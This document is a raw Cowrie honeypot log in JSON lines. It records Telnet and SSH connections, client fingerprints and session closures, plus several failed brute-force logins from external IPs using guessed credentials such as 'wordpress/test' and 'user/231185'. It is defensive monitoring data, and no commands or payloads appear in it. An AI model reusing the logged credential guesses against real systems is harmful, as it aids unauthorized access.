{"eventid":"cowrie.session.closed","duration":35.11790442466736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:57.508575Z","src_ip":"45.58.127.90","session":"75e076aca7c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52154,"dst_ip":"159.203.135.109","dst_port":23,"session":"01ccbcf001ad","protocol":"telnet","message":"New connection: 147.182.143.59:52154 (159.203.135.109:23) [session: 01ccbcf001ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:29:59.601757Z"}
{"eventid":"cowrie.session.closed","duration":57.25254464149475,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:05.238442Z","src_ip":"147.182.143.59","session":"f564f311ab74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.16913366317749,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:05.596630Z","src_ip":"45.58.127.90","session":"1ec97b4e1d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83596348762512,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:08.412301Z","src_ip":"45.58.127.90","session":"10eb2c064648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.088569164276123,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:08.557080Z","src_ip":"147.182.143.59","session":"d902ff6e3efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.95349192619324,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:09.103951Z","src_ip":"45.58.127.90","session":"5ede7f23aa44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.070460081100464,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:10.672123Z","src_ip":"147.182.143.59","session":"01ccbcf001ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44974,"dst_ip":"159.203.135.109","dst_port":23,"session":"137276f01284","protocol":"telnet","message":"New connection: 147.182.143.59:44974 (159.203.135.109:23) [session: 137276f01284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:16.261303Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57970,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae250ebb2e3","protocol":"telnet","message":"New connection: 45.58.127.90:57970 (10.17.0.5:23) [session: 1ae250ebb2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:16.663175Z"}
{"eventid":"cowrie.session.closed","duration":77.16361999511719,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:21.569255Z","src_ip":"147.182.143.59","session":"35412e5acac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":44456,"dst_ip":"10.17.0.5","dst_port":22,"session":"de68fbf53d88","protocol":"ssh","message":"New connection: 187.230.120.231:44456 (10.17.0.5:22) [session: de68fbf53d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:24.600056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:24.606154Z","src_ip":"187.230.120.231","session":"de68fbf53d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:24.721209Z","src_ip":"187.230.120.231","session":"de68fbf53d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"test","message":"login attempt [wordpress/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:25.198417Z","src_ip":"187.230.120.231","session":"de68fbf53d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":14320,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f28df27557","protocol":"ssh","message":"New connection: 2.57.121.25:14320 (10.17.0.5:22) [session: 03f28df27557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.181581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.186625Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.286739Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.314239Z","src_ip":"187.230.120.231","session":"de68fbf53d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231185","message":"login attempt [user/231185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.761828Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40748,"dst_ip":"10.17.0.5","dst_port":23,"session":"9879469e38c7","protocol":"telnet","message":"New connection: 45.58.127.90:40748 (10.17.0.5:23) [session: 9879469e38c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:26.847585Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"231088","message":"login attempt [user/231088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:27.865093Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231081","message":"login attempt [user/231081] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:28.967566Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.898577690124512,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:29.159776Z","src_ip":"147.182.143.59","session":"137276f01284","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091980","message":"login attempt [user/23091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:30.070406Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23081981","message":"login attempt [user/23081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:31.173331Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:32.276689Z","src_ip":"2.57.121.25","session":"03f28df27557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"68895440530f","protocol":"telnet","message":"New connection: 45.58.127.90:37748 (10.17.0.5:23) [session: 68895440530f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:51.926566Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.156.235.124","src_port":23588,"dst_ip":"159.203.135.109","dst_port":23,"session":"99bef2795d47","protocol":"telnet","message":"New connection: 78.156.235.124:23588 (159.203.135.109:23) [session: 99bef2795d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:30:56.652942Z"}
{"eventid":"cowrie.session.closed","duration":43.551979541778564,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:00.215008Z","src_ip":"45.58.127.90","session":"1ae250ebb2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.08135509490967,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:08.928843Z","src_ip":"45.58.127.90","session":"9879469e38c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.503613948822021,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:10.156444Z","src_ip":"78.156.235.124","session":"99bef2795d47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df043fa96a0","protocol":"telnet","message":"New connection: 45.58.127.90:37314 (10.17.0.5:23) [session: 1df043fa96a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:19.958848Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":59874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b494ab523f7e","protocol":"ssh","message":"New connection: 187.230.120.231:59874 (10.17.0.5:22) [session: b494ab523f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:23.626785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:23.631647Z","src_ip":"187.230.120.231","session":"b494ab523f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:23.730897Z","src_ip":"187.230.120.231","session":"b494ab523f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"password","message":"login attempt [user6/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:24.140935Z","src_ip":"187.230.120.231","session":"b494ab523f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:25.239704Z","src_ip":"187.230.120.231","session":"b494ab523f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37890,"dst_ip":"10.17.0.5","dst_port":23,"session":"141c4f2e1832","protocol":"telnet","message":"New connection: 45.58.127.90:37890 (10.17.0.5:23) [session: 141c4f2e1832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:33.140831Z"}
{"eventid":"cowrie.session.closed","duration":42.64660096168518,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:34.573069Z","src_ip":"45.58.127.90","session":"68895440530f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52170,"dst_ip":"159.203.135.109","dst_port":23,"session":"547090805d8c","protocol":"telnet","message":"New connection: 147.182.143.59:52170 (159.203.135.109:23) [session: 547090805d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:31:51.976277Z"}
{"eventid":"cowrie.session.closed","duration":10.328238010406494,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:02.304412Z","src_ip":"147.182.143.59","session":"547090805d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.29552364349365,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:03.254236Z","src_ip":"45.58.127.90","session":"1df043fa96a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51796,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ea496be140","protocol":"telnet","message":"New connection: 45.58.127.90:51796 (10.17.0.5:23) [session: 57ea496be140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:03.621527Z"}
{"eventid":"cowrie.session.closed","duration":37.74041295051575,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:10.881143Z","src_ip":"45.58.127.90","session":"141c4f2e1832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59702,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01c931aa04e","protocol":"telnet","message":"New connection: 45.58.127.90:59702 (10.17.0.5:23) [session: e01c931aa04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:18.423354Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":60482,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ced0ee01d6","protocol":"ssh","message":"New connection: 187.230.120.231:60482 (10.17.0.5:22) [session: 47ced0ee01d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:22.246447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:22.251484Z","src_ip":"187.230.120.231","session":"47ced0ee01d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:22.348464Z","src_ip":"187.230.120.231","session":"47ced0ee01d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"tester","message":"login attempt [testuser/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:22.760951Z","src_ip":"187.230.120.231","session":"47ced0ee01d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:23.859922Z","src_ip":"187.230.120.231","session":"47ced0ee01d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bcf463ab382","protocol":"telnet","message":"New connection: 45.58.127.90:60592 (10.17.0.5:23) [session: 2bcf463ab382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:44.437512Z"}
{"eventid":"cowrie.session.closed","duration":43.322991371154785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:46.944422Z","src_ip":"45.58.127.90","session":"57ea496be140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47426,"dst_ip":"10.17.0.5","dst_port":23,"session":"975a09cc3b50","protocol":"telnet","message":"New connection: 45.58.127.90:47426 (10.17.0.5:23) [session: 975a09cc3b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:49.686233Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":32840,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b24170b5d47","protocol":"telnet","message":"New connection: 45.58.127.90:32840 (10.17.0.5:23) [session: 5b24170b5d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:32:59.037072Z"}
{"eventid":"cowrie.session.closed","duration":42.58448576927185,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:01.007577Z","src_ip":"45.58.127.90","session":"e01c931aa04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44134,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d3520a25200","protocol":"telnet","message":"New connection: 147.182.143.59:44134 (159.203.135.109:23) [session: 9d3520a25200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:08.092783Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b72035d94d77","protocol":"telnet","message":"New connection: 45.58.127.90:47584 (10.17.0.5:23) [session: b72035d94d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:11.659656Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47586,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a28c6f9af6","protocol":"telnet","message":"New connection: 45.58.127.90:47586 (10.17.0.5:23) [session: 00a28c6f9af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:15.861329Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":60242,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aea735a9e02","protocol":"ssh","message":"New connection: 187.230.120.231:60242 (10.17.0.5:22) [session: 5aea735a9e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:17.809610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:33:17.814202Z","src_ip":"187.230.120.231","session":"5aea735a9e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ec